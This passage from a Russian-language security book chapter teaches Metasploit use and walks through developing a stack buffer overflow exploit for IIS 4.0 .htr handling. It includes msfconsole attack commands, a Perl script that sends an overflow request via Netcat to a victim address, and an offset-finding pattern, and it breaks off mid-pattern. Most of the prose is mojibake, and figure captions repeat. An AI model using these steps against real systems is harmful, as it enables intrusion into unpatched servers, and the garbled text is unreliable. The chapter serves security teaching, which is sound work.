Рис. 12.5. Рис. 12.5. Рис. 12.5. Рис. 12.5. Рис. 12.5. Список команд в режиме эксплойта

Рис. 12.6. Рис. 12.6. Рис. 12.6. Рис. 12.6. Рис. 12.6. Задание целевой платформы

Âûáðàâ öåëü, íåîáõîäèìî ñîîáùèòü êàðêàñó äîïîëíèòåëüíóþ èíôîðìà-
öèþ îá óäàëåííîì õîñòå. Îíà ïðåäîñòàâëÿåòñÿ â âèäå ïåðåìåííûõ îêðóæåíèÿ.
Ñïèñîê ïîääåðæèâàåìûõ ïåðåìåííûõ ìîæíî ïîëó÷èòü ñ ïîìîùüþ êîìàí-
äû show options. Åå ðåçóëüòàò ïîêàçàí íà ðèñ. 12.7, îòêóäà âèäíî, ÷òî äî çàïóñêà
ýêñïëîéòà íåîáõîäèìî çàäàòü ïåðåìåííûå îêðóæåíèÿ RHOST è RPORT. Äëÿ

Рис. 12.7. Рис. 12.7. Рис. 12.7. Рис. 12.7. Рис. 12.7. Задание параметров эксплойта
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çàäàíèÿ RHOST ââîäèòñÿ êîìàíäà set RHOST 192.168.119.136, â êîòîðîé óêàçû-
âàåòñÿ IP-àäðåñ ìàøèíû-æåðòâû. Íîìåð ïîðòà íà íåé – RPORT – ïî óìîë÷à-
íèþ ñîâïàäàåò ñ òåì, ÷òî íàì íóæíî.

Êîìàíäà set èçìåíÿåò òîëüêî ïåðåìåííûå îêðóæåíèÿ äëÿ âûáðàííîãî
â äàííûé ìîìåíò ýêñïëîéòà. Åñëè íóæíî çàïóñòèòü äëÿ îäíîé è òîé óäàëåí-
íîé ìàøèíû ñðàçó íåñêîëüêî ýêñïëîéòîâ, òî ëó÷øå âîñïîëüçîâàòüñÿ êîìàí-
äîé setg, êîòîðàÿ óñòàíàâëèâàåò çíà÷åíèå óêàçàííîé ïåðåìåííîé ãëîáàëüíî,
òî åñòü ñðàçó äëÿ âñåõ ýêñïëîéòîâ. Åñëè óñòàíîâëåíû ëîêàëüíîå è ãëîáàëüíîå
çíà÷åíèå îäíîé è òîé æå ïåðåìåííîé, òî ïðèîðèòåò îòäàåòñÿ ëîêàëüíîìó.

Äëÿ íåêîòîðûõ ýêñïëîéòîâ ìîãóò ïîíàäîáèòüñÿ äîïîëíèòåëüíûå ïàðà-
ìåòðû. Ýòî òîæå ìîæíî ñäåëàòü ñ ïîìîùüþ êîìàíäû set, õîòÿ, êàê âèäíî èç
ðèñ. 12.8, â äàííîì ñëó÷àå ýòî íè ê ÷åìó.

Рис. 12.8. Рис. 12.8. Рис. 12.8. Рис. 12.8. Рис. 12.8. Дополнительные параметры

Ñëåäóþùèé øàã – çàäàòü ïîëåçíóþ íàãðóçêó äëÿ ýêñïëîéòà, êîòîðàÿ áóäåò
ðàáîòàòü íà öåëåâîé ïëàòôîðìå. Ïîäðîáíåå î ïîëåçíûõ íàãðóçêàõ ìû áóäåì
ãîâîðèòü íèæå, à ïîêà ïðåäïîëîæèì, ÷òî ýòî «ïðîèçâîëüíûé êîä», êîòîðûé
äîëæåí áûòü âûïîëíåí íà àòàêóåìîé ìàøèíå. Íà ðèñ. 12.9 ïîêàçàí ñïèñîê ñî-
âìåñòèìûõ ïîëåçíûõ íàãðóçîê, êîòîðûé ìîæíî ïîëó÷èòü ñ ïîìîùüþ êîìàí-
äû show payloads. Íàáðàâ êîìàíäó set PAYLOAD win32_bind, ïîëüçîâàòåëü âû-
áåðåò â êà÷åñòâå ïîëåçíîé íàãðóçêè êîä äëÿ ïîëó÷åíèÿ îáîëî÷êè (shell).

Рис. 12.9. Рис. 12.9. Рис. 12.9. Рис. 12.9. Рис. 12.9. Задание полезной нагрузки

Использование каркаса Metasploit Framework
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Îäíî èç îòëè÷èé êàðêàñà Metasploit îò áîëüøèíñòâà îáùåäîñòóïíûõ àâòî-
íîìíûõ ýêñïëîéòîâ â òîì, ÷òî îí ïîçâîëÿåò âûáèðàòü ïðîèçâîëüíóþ ïîëåç-
íóþ íàãðóçêó â çàâèñèìîñòè îò ñåòè è óñëîâèé â àòàêóåìîé ñèñòåìå.

Ïîñëå âûáîðà ïîëåçíîé íàãðóçêè, âîçìîæíî, ïðèäåòñÿ çàäàòü ðÿä äîïîëíè-
òåëüíûõ ïàðàìåòðîâ. Íà ðèñ. 12.10 ïîêàçàí ðåçóëüòàò êîìàíäû show options,
êîòîðàÿ âûâîäèò ñïèñîê òàêèõ ïàðàìåòðîâ.

Рис. 12.10. Рис. 12.10. Рис. 12.10. Рис. 12.10. Рис. 12.10. Дополнительные параметры полезной нагрузки

Ïðè òåñòèðîâàíèè ýêñïëîéòà î÷åíü ïîëåçíîé îêàçûâàåòñÿ êîìàíäà save. Îíà
ñîõðàíÿåò òåêóùèå çíà÷åíèÿ ïåðåìåííûõ ñðåäû è âñåõ ïðî÷èõ ïàðàìåòðîâ
ýêñïëîéòà íà äèñêå, òàê ÷òîáû èõ ìîæíî áûëî çàãðóçèòü ïðè ñëåäóþùåì çà-
ïóñêå mfcconsole.

Åñëè ïðèíèìàåìûå ïî óìîë÷àíèþ ïàðàìåòðû ïîëåçíîé íàãðóçêè ïîëü-
çîâàòåëÿ óñòðàèâàþò, òî äëÿ íà÷àëà àòàêè ñëåäóåò ââåñòè êîìàíäó exploit. Íà
ðèñ. 12.11 âèäíî, ÷òî ýêñïëîéò óäà÷íî àòàêîâàë óÿçâèìóþ óäàëåííóþ ñèñòå-
ìó. Îòêðûò ïðîñëóøèâàåìûé ïîðò, è Metasploit àâòîìàòè÷åñêè ñîåäèíèëñÿ
ñ îæèäàþùåé ââîäà êîìàíä îáîëî÷êîé.

Рис. 12.11. Рис. 12.11. Рис. 12.11. Рис. 12.11. Рис. 12.11. Эксплойт сработал против уязвимости на удаленной системе

Åùå îäíà óíèêàëüíàÿ îñîáåííîñòü Metasploit – ýòî âîçìîæíîñòü äèíàìè-
÷åñêè ñîåäèíÿòüñÿ ñ îòêðûòûìè ïîëåçíîé íàãðóçêîé ïîðòàìè. Òðàäèöèîííî
äëÿ óñòàíîâëåíèÿ ñîåäèíåíèÿ ñ òàêèì ïîðòîì èñïîëüçîâàëèñü âíåøíèå ïðî-
ãðàììû, íàïðèìåð, Netcat. Åñëè íàãðóçêà ñîçäàâàëà íà óäàëåííîé ìàøèíå
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VNC-ñåðâåð, òî äëÿ ñîåäèíåíèÿ ñ íèì áûë íóæåí VNC-êëèåíò. Êàðêàñ æå
Metasploit óñòðàíÿåò íåîáõîäèìîñòü âî âíåøíèõ îáðàáîò÷èêàõ. Åñëè ýêñ-
ïëîéò â ïðåäûäóùåì ïðèìåðå âûïîëíèë ñâîþ çàäà÷ó, òî àâòîìàòè÷åñêè îò-
êðûâàåòñÿ ñîåäèíåíèå ñ ïîðòîì 4444 íà óäàëåííîé ìàøèíå. Òàêàÿ âîçìîæ-
íîñòü ïîääåðæèâàåòñÿ äëÿ âñåõ ïîëåçíûõ íàãðóçîê, ïîñòàâëÿåìûõ âìåñòå
ñ Metasploit, äàæå äëÿ òàêèõ ñëîæíûõ, êàê shell-êîä, ðåàëèçóþùèé VNC-ñåðâåð.

Â ýòîì ïðèìåðå áûëè ðàññìîòðåíû ëèøü êîìàíäû, íåîáõîäèìûå äëÿ îïè-
ñûâàåìîãî íèæå ïðîöåññà ñîçäàíèÿ ýêñïëîéòà. Ïðî÷èòàòü î êàðêàñå Metasp-
loit Framework ïîäðîáíåå, â ÷àñòíîñòè, ïîçíàêîìèòüñÿ ñ ðóêîâîäñòâîì ïîëü-
çîâàòåëÿ ìîæíî íà îôèöèàëüíîé ñòðàíèöå äîêóìåíòàöèè ïðîåêòà ïî àäðåñó
www.metasploit.com/projects/Framework/documentation.html.

Разработка эксплойтов
с помощью каркаса Metasploit
Â ýòîì ðàçäåëå ìû ñàìè ðàçðàáîòàåì àâòîíîìíûé ýêñïëîéò äëÿ òîé æå óÿçâè-
ìîñòè, êîòîðàÿ îáñóæäàëàñü âûøå. Îáû÷íî äëÿ íàïèñàíèÿ ýêñïëîéòà òðåáó-
åòñÿ õîðîøåå âëàäåíèå ÿçûêîì àññåìáëåðà äëÿ öåëåâîé àðõèòåêòóðû, äåòàëü-
íîå çíàêîìñòâî ñ âíóòðåííèì óñòðîéñòâîì îïåðàöèîííîé ñèñòåìû è óìåíèå
ïðîãðàììèðîâàòü.

Îäíàêî ïîñòàâëÿåìûå â ñîñòàâå Metasploit óòèëèòû ñóùåñòâåííî óïðîùà-
þò ïðîöåññ. Êàðêàñ àáñòðàãèðóåò ìíîãèå äåòàëè â íàáîðå ïðîñòûõ è óäîáíûõ
èíñòðóìåíòîâ, êîòîðûå ïîçâîëÿþò íàìíîãî ñîêðàòèòü âðåìÿ ðàçðàáîòêè è
óìåíüøèòü òðåáîâàíèÿ ê ïðåäâàðèòåëüíîé ïîäãîòîâêå ïîëüçîâàòåëÿ. Ìû
âîñïîëüçóåìñÿ ýòèìè óòèëèòàìè â ïðîöåññå ñîçäàíèÿ ýêñïëîéòà IIS 4.0 HTR
Buffer Overflow.

Â ñëåäóþùåì ðàçäåëå ïðîöåññ ðàçðàáîòêè ýêñïëîéòà, íàïðàâëåííîãî ïðî-
òèâ ïðîñòîé îøèáêè, ñâÿçàííîé ñ ïåðåïîëíåíèåì ñòåêà, ðàññìàòðèâàåòñÿ îò
íà÷àëà äî êîíöà. Ñíà÷àëà îïðåäåëÿåòñÿ âåêòîð àòàêè. Çàòåì ñëåäóåò âû÷èñëèòü
ñìåùåíèå àäðåñà âîçâðàòà îò âåðøèíû ñòåêà. Îïðåäåëèâ íàèáîëåå íàäåæíûé
âåêòîð óïðàâëåíèÿ, íåîáõîäèìî íàéòè àäðåñ âîçâðàòà. Ïåðåä âûáîðîì ïîëåç-
íîé íàãðóçêè íàäî ïðèíÿòü âî âíèìàíèå îãðàíè÷åíèÿ ïî äîïóñòèìûì ñèì-
âîëàì è ðàçìåðó. Åùå ïîòðåáóåòñÿ ñîçäàòü «äîðîæêó», ñîñòîÿùóþ èç êîìàíä-
çàïîëíèòåëåé nop, íå âûïîëíÿþùèõ íèêàêèõ äåéñòâèé. È, íàêîíåö, ìîæíî
ïðèñòóïàòü ê âûáîðó, ãåíåðèðîâàíèþ è êîäèðîâàíèþ ïîëåçíîé íàãðóçêè.

Ìû áóäåì ïðåäïîëàãàòü, ÷òî öåëåâàÿ ìàøèíà ðàáîòàåò ïîä óïðàâëåíèåì
îïåðàöèîííîé ñèñòåìû Windows NT4 Service Pack 5 íà 32-ðàçðÿäíîì ïðîöåñ-
ñîðå Intel x86, è íà íåé çàïóùåí Web-ñåðâåð Microsoft Internet Information
Server (IIS) âåðñèè 4.0.

Разработка эксплойтов с помощью каркаса Metasploit
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Определение вектора атаки

Âåêòîð àòàêè – ýòî ïîñëåäîâàòåëüíîñòü äåéñòâèé, â ðåçóëüòàòå êîòîðûõ àòà-
êóþùèé ïîëó÷àåò äîñòóï ê ñèñòåìå, îòïðàâèâ åé çàïðîñ ñî ñïåöèàëüíî ïîä-
ãîòîâëåííîé ïîëåçíîé íàãðóçêîé. Ýòà íàãðóçêà ñîäåðæèò êîä, êîòîðûé áóäåò
âûïîëíåí íà ñèñòåìå-æåðòâå.

Ïåðâûé øàã ïðè ðàçðàáîòêå ýêñïëîéòà – îïðåäåëèòüñÿ ñ âåêòîðîì àòàêè.
Ïîñêîëüêó èñõîäíûå òåêñòû Web-ñåðâåðà IIS íåäîñòóïíû, òî ïðèäåòñÿ ïîëî-
æèòüñÿ íà îïóáëèêîâàííûå áþëëåòåíè ïî èíôîðìàöèîííîé áåçîïàñíîñòè è
ïîïûòàòüñÿ ñîáðàòü êàê ìîæíî áîëüøå èíôîðìàöèè. Ìû ñîáèðàåìñÿ àòàêî-
âàòü óÿçâèìîñòü, ñâÿçàííóþ ñ ïåðåïîëíåíèåì áóôåðà â IIS 4.0, îïèñàíèå êîòî-
ðîé áûëî âïåðâûå îïóáëèêîâàíî êîìïàíèåé eEye íà ñòðàíèöå www.eeye.com/
html/research/advisories/ AD19990608.html. Â ýòîì äîêóìåíòå ñêàçàíî, ÷òî ïå-
ðåïîëíåíèå âîçíèêàåò, åñëè ó ñåðâåðà çàïðîøåí ôàéë ñ î÷åíü äëèííûì èìå-
íåì è ðàñøèðåíèåì .htr. Êîãäà IIS ïîëó÷àåò òàêîé çàïðîñ, îí ïåðåäàåò èìÿ
ôàéëà äèíàìè÷åñêè çàãðóæàåìîé áèáëèîòåêå ISM. Òàê êàê íè ñàì IIS, íè ISM
íå êîíòðîëèðóþò âûõîä èìåíè ôàéëà çà ãðàíèöû îòâåäåííîãî ïîä íåãî áó-
ôåðà, òî ïðè äîñòàòî÷íî äëèííîì èìåíè âîçíèêíåò ïåðåïîëíåíèå è ìîæíî
áóäåò èçìåíèòü àäðåñ âîçâðàòà èç óÿçâèìîé ôóíêöèè. Ïåðåõâàòèâ óïðàâëåíèå
áèáëèîòåêîé ISM è, êàê ñëåäñòâèå, ïðîöåññîì inetinfo.exe, àòàêóþùèé ñìîæåò
çàñòàâèòü ñèñòåìó âûïîëíèòü êîä ïîëåçíîé íàãðóçêè. Çíàÿ î òîì, êàê âûç-
âàòü ïåðåïîëíåíèå, íóæíî ðåøèòü, êàêèì îáðàçîì ïîñëàòü ñåðâåðó IIS äëèí-
íîå èìÿ ôàéëà.

Ñòàíäàðòíûé çàïðîñ íà Web-ñòðàíèöó âêëþ÷àåò óêàçàíèå ìåòîäà (GET èëè
POST), èìÿ è ïóòü ê ôàéëó è äîïîëíèòåëüíóþ èíôîðìàöèþ â ñîîòâåòñòâèè
ñ ïðîòîêîëîì HTTP â âèäå íàáîðà çàãîëîâêîâ. Çàïðîñ çàâåðøàåòñÿ äâàæäû ïî-
âòîðÿþùåéñÿ ïîñëåäîâàòåëüíîñòüþ ñèìâîëîâ âîçâðàòà êàðåòêè è ïåðåâîäà
ñòðîêè (ñ ASCII-êîäàìè 0x10 è 0x13 ñîîòâåòñòâåííî). Íèæå ïðèâåäåí ïðèìåð
GET-çàïðîñà íà ñòðàíèöó index.html ïî ïðîòîêîëó HTTP 1.0.

GET /index.html HTTP/1.0\r\n\r\n

Ñîãëàñíî îïóáëèêîâàííîìó ñîîáùåíèþ, èìÿ ôàéëà äîëæíî áûòü î÷åíü
äëèííûì è çàêàí÷èâàòüñÿ ðàñøèðåíèåì .htr. Òî åñòü àòàêóþùèé çàïðîñ äîë-
æåí âûãëÿäåòü ïðèìåðíî òàê:

GET /extremelylargeststringofcharactersthatgoesonand.htr HTTP/1.0\r\n\r\n

Õîòÿ ýòîò çàïðîñ ñëèøêîì êîðîòêèé è ïåðåïîëíåíèÿ íå âûçîâåò, íî îí
äàåò ïðåäñòàâëåíèå î âåêòîðå àòàêè. Â ñëåäóþùåì ðàçäåëå ìû îïðåäåëèì
äëèíó, íåîáõîäèìóþ äëÿ ïåðåçàïèñè àäðåñà âîçâðàòà.
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Нахождение смещения

Îïðåäåëèâøèñü ñ âåêòîðîì àòàêè, ìû ìîæåì íàïèñàòü Perl-ñöåíàðèé, êîòîðûé
âûçîâåò ïåðåïîëíåíèå áóôåðà è ïåðåçàïèñü àäðåñà âîçâðàòà (ïðèìåð 12.1).

Пример 12.1. Пример 12.1. Пример 12.1. Пример 12.1. Пример 12.1. Перезапись адреса возврата
1 $string = "GET /";

2 $string .= "A" x 4000;

3 $string .= ".htr HTTP/1.0\r\n\r\n";

4
5 open(NC, "|nc.exe 192.168.181.129 80");

6 print NC $string;

7 close(NC);

Â ñòðîêå 1 ìû íà÷èíàåì ïîñòðîåíèå ñòðîêè çàïðîñà ñ óêàçàíèÿ åãî òèïà
GET. Â ñòðîêå 2 â êîíåö ñòðîêè äîïèñûâàåòñÿ 4000 ñèìâîëîâ 'A' â êà÷åñòâå
èìåíè ôàéëà. Â ñòðîêå 3 ê èìåíè ôàéëà äîáàâëÿåòñÿ ðàñøèðåíèå .htr. Ïîëó-
÷èâ ôàéë ñ òàêèì ðàñøèðåíèåì, IIS ïåðåäàñò åãî äëÿ îáðàáîòêè áèáëèîòåêå
ISM. Êðîìå òîãî, â ñòðîêå 3 óêàçàíà âåðñèÿ ïðîòîêîëà HTTP è çàâåðøàþùàÿ
ïîñëåäîâàòåëüíîñòü èç ñèìâîëîâ âîçâðàòà êàðåòêè è ïåðåâîäà ñòðîêè. Â ñòðî-
êå 5 ñîçäàåòñÿ êîíâåéåð ñ ïðîãðàììîé Netcat. Ïîñêîëüêó ïðîãðàììèðîâàíèå
ñîêåòîâ – ýòî íå òåìà äàííîé ãëàâû, òî ìû ïîðó÷èì âñå ñåòåâûå êîììóíèêà-
öèè ýòîé ïðîãðàììå. Â äàííîì ñëó÷àå ìû ïîïðîñèëè Netcat óñòàíîâèòü ñîåäè-
íåíèå ñ ïîðòîì 80 ïî àäðåñó 192.168.181.129. Â ñòðîêå 5 ñòðîêà $string âûâî-
äèòñÿ â êîíâåéåð, êîòîðûé â êîíå÷íîì èòîãå äîñòàâëÿåò åå õîñòó-æåðòâå.

Íà ðèñ. 12.12 ïîêàçàíà ñòðîêà, îòïðàâëÿåìàÿ IIS.

Рис. 12.12. Рис. 12.12. Рис. 12.12. Рис. 12.12. Рис. 12.12. Первый вариант строки для атаки

Ìû õîòèì ïðîâåðèòü, áûë ëè àäðåñ âîçâðàòà ïåðåçàïèñàí ýòîé ñòðîêîé. Äëÿ
ýòîãî ïîíàäîáèòñÿ îòëàä÷èê. Äåéñòâîâàòü íóæíî ñëåäóþùèì îáðàçîì:

1. Ïðèñîåäèíèòü îòëàä÷èê ê ïðîöåññó inetinfo.exe. Óáåäèòüñÿ, ÷òî ïîñëå
ïðåðûâàíèÿ ïðîöåññ ïðîäîëæèë âûïîëíåíèå.

2. Âûïîëíèòü ñöåíàðèé èç ïðèìåðà 12.1.
3. Ïîñëàííàÿ ñòðîêà äîëæíà ïåðåçàïèñàòü àäðåñ âîçâðàòà.
4. Àäðåñ âîçâðàòà èçâëåêàåòñÿ èç ñòåêà â ðåãèñòð EIP.
5. Åñëè ïðîöåññîð ïîïûòàåòñÿ çàãðóçèòü â EIP íåâåðíûé àäðåñ, ñèñòåìà âîç-

áóäèò èñêëþ÷åíèå èç-çà íàðóøåíèÿ çàùèòû ïàìÿòè.
6. Îòëàä÷èê ïåðåõâàòèò ýòî èñêëþ÷åíèå è îñòàíîâèò ïðîöåññ.

Разработка эксплойтов с помощью каркаса Metasploit
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7. Ïîñëå ýòîãî â îòëàä÷èêå ìîæíî ïðîñìîòðåòü âñþ èíôîðìàöèþ î ïðî-
öåññå, âêëþ÷àÿ ñîäåðæèìîå âèðòóàëüíîé ïàìÿòè, äèçàññåìáëèðîâàí-
íûå êîìàíäû, òåêóùåå ñîäåðæèìîå ñòåêà è ðåãèñòðîâ.

Ñöåíàðèé èç ïðèìåðà 12.1 äåéñòâèòåëüíî ïðèâîäèò ê ïåðåçàïèñè EIP.
Â îêíå îòëàä÷èêà íà ðèñ. 12.13 âèäíî, ÷òî â ñòåêå íà ìåñòå, ãäå äîëæåí áûòü
àäðåñ âîçâðàòà, íàõîäèòñÿ çíà÷åíèå 0x41414141. Â êîäèðîâêå ASCII ýòî áóêâû
AAAA, òî åñòü ÷àñòü ïîñëàííîãî íàìè èìåíè ôàéëà. Â ðåçóëüòàòå ïîïûòêè
ïåðåõîäà ïî íåâåðíîìó àäðåñó 0x41414141 ïðîöåññ áûë îñòàíîâëåí.

Рис. 12.13. Рис. 12.13. Рис. 12.13. Рис. 12.13. Рис. 12.13. Окно регистров отладчика

×òîáû ìîæíî áûëî ãàðàíòèðîâàííî ïåðåçàïèñàòü õðàíÿùèéñÿ â ñòåêå
àäðåñ âîçâðàòà, ìû äîëæíû íàéòè èìåííî òå ÷åòûðå áóêâû ‘A’, êîòîðûå îêà-
çàëèñü íà åãî ìåñòå. Óâû, èìÿ ôàéëà, ñîñòîÿùåå èç îäíèõ áóêâ ‘A’, íå ïîçâîëÿ-

Примечание

При работе с приложениями, исходные тексты которых недоступны,
часто приходится прибегать к помощи отладчика, чтобы понять, как
устроена программа. Помимо возможности исполнения машинных
команд в пошаговом режиме, отладчик еще позволяет просматри�
вать содержимое регистров, виртуальной памяти и получать другую
информацию о процессе. Особенно полезно это бывает на поздних
стадиях разработки эксплойта, когда нужно решить, каких символов
следует избегать и каковы ограничения по размеру shell�кода.
Два популярных отладчика для Windows можно загрузить со следую�
щих сайтов:
www.microsoft.com/whdc/devtools/debugging/default.mspx
http://home.t�online.de/home/Ollydbg
Мы пользовались отладчиком Ollydbg. Подробнее как о нем, так
и о процедуре отладки в общем можно узнать из справочной систе�
мы, включенной в состав Ollydbg.
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åò ïîëó÷èòü äîñòàòî÷íî èíôîðìàöèè î òîì, ãäå íàõîäèòñÿ àäðåñ âîçâðàòà.
Íóæíî ñîñòàâèòü èìÿ òàê, ÷òîáû ëþáûå ÷åòûðå ïîñëåäîâàòåëüíûõ áàéòà
áûëè óíèêàëüíû. Êîãäà îíè áóäóò çàãðóæåíû èç ñòåêà â ðåãèñòð EIP, ìû ñìî-
æåì òî÷íî îïðåäåëèòü èõ ïîëîæåíèå â èìåíè ôàéëà è äàëüøå äîñòàòî÷íî
áóäåò ïîäñ÷èòàòü ÷èñëî ñèìâîëîâ äî íèõ, ÷òîáû òî÷íî îïðåäåëèòü, ñêîëüêî
áàéòîâ ñëåäóåò ïîñëàòü, ÷òîáû ïåðåçàïèñàòü àäðåñ âîçâðàòà. ×èñëî áàéòîâ äî
÷åòâåðêè, îêàçûâàþùåéñÿ â ñòåêå íà ìåñòå àäðåñà âîçâðàòà, íàçûâàåòñÿ ñìå-
ùåíèåì.

×òîáû ñîçäàòü èìÿ ôàéëà, â êîòîðîì ëþáûå ÷åòûðå ïîñëåäîâàòåëüíûõ
áàéòà óíèêàëüíû, âîñïîëüçóåìñÿ ìåòîäîì PatternCreate() èç ìîäóëÿ Pex.pm,
êîòîðûé íàõîäèòñÿ â êàòàëîãå  ~/framework/l ib. Ýòîò ìåòîä ïðèíèìàåò îäèí
àðãóìåíò, çàäàþùèé äëèíó ãåíåðèðóåìîé ïîñëåäîâàòåëüíîñòè. Ïîëó÷åííóþ
ñòðîêó ìîæíî áóäåì ñêîïèðîâàòü â íàø ñöåíàðèé è èñïîëüçîâàòü â êà÷åñòâå
èìåíè ôàéëà.

Âûïîëíèòü ìåòîä PatternCreate() ìîæíî ñ ïîìîùüþ êîìàíäû perl -e 'use
Pex; print Pex::Text::PatternCreate(4000)'. Åå âûâîä ñêîïèðîâàí â ñöåíàðèé,
ïðåäñòàâëåííûé â ïðèìåðå 12.2.

Пример 12.2. Пример 12.2. Пример 12.2. Пример 12.2. Пример 12.2. Перезапись адреса возврата с помощью неповторяющейся
последовательности
 1 $pattern =

 2 "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0" .

 3 "Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1" .

 4 "Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2" .

 5 "Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3" .

 6 "Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4" .

 7 "Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5" .

 8 "Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6" .

 9 "Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7" .

10 "Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8" .

11 "As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9" .

12 "Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0" .

13 "Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1" .

14 "Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2" .

15 "Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3" .

16 "Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4" .

17 "Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5" .

18 "Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6" .

19 "Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7" .

20 "Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8" .

21 "Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9" .

22 "Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0" .

23 "Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1" .

24 "Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2" .

25 "Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3" .
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26 "By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4" .

27 "Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5" .

28 "Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6" .

29 "Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7" .

30 "Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8" .

31 "Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9" .

32 "Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0" .

33 "Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1" .

34 "Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2" .

35 "Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3" .

36 "Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4" .

37 "Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5" .

38 "Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6" .

39 "Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7" .

40 "Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8" .

41 "Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9" .

42 "Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0" .

